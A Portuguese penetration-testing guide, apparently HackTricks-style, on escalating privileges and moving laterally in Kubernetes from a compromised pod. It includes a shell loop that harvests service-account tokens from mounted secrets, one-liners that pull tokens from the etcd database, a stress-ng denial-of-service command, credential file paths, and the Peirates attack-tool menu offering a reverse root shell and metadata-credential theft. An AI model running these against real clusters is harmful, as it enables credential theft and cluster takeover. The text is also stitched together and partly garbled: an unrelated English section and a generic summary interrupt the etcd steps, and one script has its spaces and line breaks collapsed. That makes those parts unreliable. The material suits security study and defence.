Normalmente, os pods são executados com um token de conta de serviço dentro deles. Esta conta de serviço pode ter alguns privilégios anexados que você poderia abusar para mover-se para outros pods ou até mesmo escapar para os nós configurados dentro do cluster. Veja como em:
Se o pod é executado dentro de um ambiente de nuvem, você pode ser capaz de vazar um token do endpoint de metadados e elevar privilégios usando-o.
Pesquisar serviços de rede vulneráveis
Como você está dentro do ambiente do Kubernetes, se não conseguir elevar privilégios abusando dos privilégios atuais dos pods e não conseguir escapar do contêiner, você deve procurar serviços potencialmente vulneráveis.
Serviços
Para este propósito, você pode tentar obter todos os serviços do ambiente Kubernetes:
kubectl get svc --all-namespaces
Por padrão, o Kubernetes usa um esquema de rede plana, o que significa que qualquer pod/serviço dentro do cluster pode se comunicar com outros. Os namespaces dentro do cluster não possuem restrições de segurança de rede por padrão. Qualquer pessoa no namespace pode se comunicar com outros namespaces.
Escaneamento
O seguinte script Bash (retirado de um workshop do Kubernetes) irá instalar e escanear os intervalos de IP do cluster Kubernetes:
Dê uma olhada na seguinte página para aprender como você poderia atacar serviços específicos do Kubernetes para comprometer outros pods/todo o ambiente:
No caso do pod comprometido estar executando algum serviço sensível onde outros pods precisam autenticar, você pode ser capaz de obter as credenciais enviadas pelos outros pods farejando comunicações locais.
Network Spoofing
Por padrão, técnicas como ARP spoofing (e graças a isso DNS Spoofing) funcionam na rede do Kubernetes. Então, dentro de um pod, se você tiver a capacidade NET_RAW (que está lá por padrão), você poderá enviar pacotes de rede personalizados e realizar ataques de MitM via ARP Spoofing para todos os pods em execução no mesmo nó.
Além disso, se o pod malicioso estiver em execução no mesmo nó que o Servidor DNS, você poderá realizar um ataque de DNS Spoofing para todos os pods no cluster.
Não há especificação de recursos nos manifestos do Kubernetes e limites não aplicados para os contêineres. Como atacante, podemos consumir todos os recursos onde o pod/deployment está em execução e privar outros recursos, causando um DoS para o ambiente.
Isso pode ser feito com uma ferramenta como stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Você pode ver a diferença enquanto executa stress-ng e depois
/etc/kubernetes/bootstrap-kubelet.conf - Configuração de Inicialização
/etc/kubernetes/manifests/etcd.yaml - Configuração do etcd
/etc/kubernetes/pki - Chave do Kubernetes
Encontrar o kubeconfig do node
Se você não conseguir encontrar o arquivo kubeconfig em um dos caminhos comentados anteriormente, verifique o argumento --kubeconfig do processo kubelet:
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
O script can-they.sh irá automaticamente obter os tokens de outros pods e verificar se eles têm a permissão que você está procurando (em vez de você verificar um por um):
Um DaemonSet é um pod que será executado em todos os nós do cluster. Portanto, se um DaemonSet for configurado com uma conta de serviço privilegiada, em TODOS os nós você será capaz de encontrar o token dessa conta de serviço privilegiada que você poderia abusar.
O exploit é o mesmo da seção anterior, mas agora você não depende da sorte.
Pivot para a Nuvem
Se o cluster for gerenciado por um serviço de nuvem, geralmente o Nó terá um acesso diferente ao endpoint de metadados do que o Pod. Portanto, tente acessar o endpoint de metadados a partir do nó (ou de um pod com hostNetwork para True):
Se você puder especificar o nodeName do Nó que executará o contêiner, obtenha um shell dentro de um nó de plano de controle e obtenha o banco de dados etcd:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
Os nós de control-plane têm a função de mestre e em clusters gerenciados na nuvem você não poderá executar nada neles.
Ler segredos do etcd
Se você puder executar seu pod em um nó de control-plane usando o seletor nodeName na especificação do pod, você pode ter acesso fácil ao banco de dados etcd, que contém toda a configuração do cluster, incluindo todos os segredos.
Abaixo está uma maneira rápida e suja de pegar segredos do etcd se ele estiver sendo executado no nó de control-plane em que você está. Se você deseja uma solução mais elegante que inicie um pod com a utilidade do cliente etcdetcdctl e use as credenciais do nó de control-plane para se conectar ao etcd onde quer que ele esteja sendo executado, confira este exemplo de manifesto de @mauilion.
Verifique se o etcd está sendo executado no nó de control-plane e veja onde o banco de dados está (Isso é em um cluster criado com kubeadm)
Ao executar um pod comprometido em um cluster Kubernetes, um invasor pode explorar várias técnicas para escalar seus privilégios e comprometer outros recursos no cluster. Algumas técnicas comuns incluem:
Montagem de Volumes do Host: Montar o diretório raiz do host dentro do pod pode permitir que um invasor acesse outros pods e segredos sensíveis.
Execução de Comandos Privilegiados: A execução de comandos com privilégios elevados dentro de um pod comprometido pode ajudar um invasor a obter controle total sobre o cluster.
Exploração de Vulnerabilidades: Aproveitar vulnerabilidades conhecidas no Kubernetes ou em aplicações em execução no cluster para obter acesso não autorizado.
É crucial implementar práticas de segurança sólidas, como limitar as permissões dos pods e monitorar de perto o tráfego de rede, para proteger o cluster Kubernetes contra ataques internos.
data-dir=/var/lib/etcd
Visualizar os dados no banco de dados etcd:
strings/var/lib/etcd/member/snap/db|less
Extrair os tokens do banco de dados e mostrar o nome da conta de serviço
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Mesmo comando, mas com alguns greps para retornar apenas o token padrão no namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can perform various malicious activities within the cluster. This section explores some common techniques attackers use to escalate privileges and move laterally within a Kubernetes cluster from inside a pod.
### Privilege Escalation#### Exploiting Misconfigured RBAC RolesAttackers can abuse misconfigured Role-Based Access Control (RBAC) roles to escalate their privileges within the cluster. By modifying existing roles or creating new ones, attackers can gain more permissions than intended, allowing them to access sensitive resources and perform unauthorized actions.
#### Accessing the Kubernetes API ServerOnce inside a pod, attackers can attempt to access the Kubernetes API server using tools like `kubectl` or by sending direct API requests. If successful, attackers can gather valuable information about the cluster's configuration, deploy new workloads, or even delete existing resources.
### Lateral Movement#### Pod HoppingAttackers can move laterally within the cluster by compromising multiple pods. By exploiting vulnerabilities or weak configurations in other pods, attackers can pivot from one pod to another, gradually expanding their control and influence over the cluster.
#### Service Account CompromiseIf an attacker compromises a pod's service account token, they can abuse it to authenticate to the Kubernetes API server and perform actions on behalf of the compromised pod. This can lead to further privilege escalation and unauthorized access to cluster resources.
### ConclusionSecuring Kubernetes clusters requires implementing strong security measures to prevent attackers from moving laterally and escalating privileges within the cluster. Regular security assessments, proper RBAC configurations, and monitoring for unauthorized activities are essential to maintaining a secure Kubernetes environment.
Pods Estáticos são gerenciados diretamente pelo daemon kubelet em um nó específico, sem que o servidor de API os observe. Ao contrário dos Pods gerenciados pelo plano de controle (por exemplo, um Deployment); em vez disso, o kubelet observa cada Pod estático (e o reinicia se falhar).
Portanto, os Pods estáticos estão sempre vinculados a um Kubelet em um nó específico.
O kubelet tenta automaticamente criar um Pod espelho no servidor de API do Kubernetes para cada Pod está do. Isso significa que os Pods em execução em um nó são visíveis no servidor de API, mas não podem ser controlados a partir dele. Os nomes dos Pods terão um sufixo com o nome do nó com um hífen inicial.
O spec de um Pod estático não pode se referir a outros objetos de API (por exemplo, ServiceAccount, ConfigMap, Secret, etc. Portanto, você não pode abusar desse comportamento para lançar um pod com uma ServiceAccount arbitrária no nó atual para comprometer o cluster. Mas você poderia usar isso para executar pods em namespaces diferentes (caso seja útil por algum motivo).
Se você estiver dentro do nó host, pode fazer com que ele crie um pod estático dentro dele mesmo. Isso é bastante útil porque pode permitir que você crie um pod em um namespace diferente, como kube-system.
Se um atacante comprometeu um nó e ele pode excluir pods de outros nós e impedir que outros nós executem pods, os pods serão reiniciados no nó comprometido e ele poderá roubar os tokens executados neles.
Para mais informações siga estes links.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
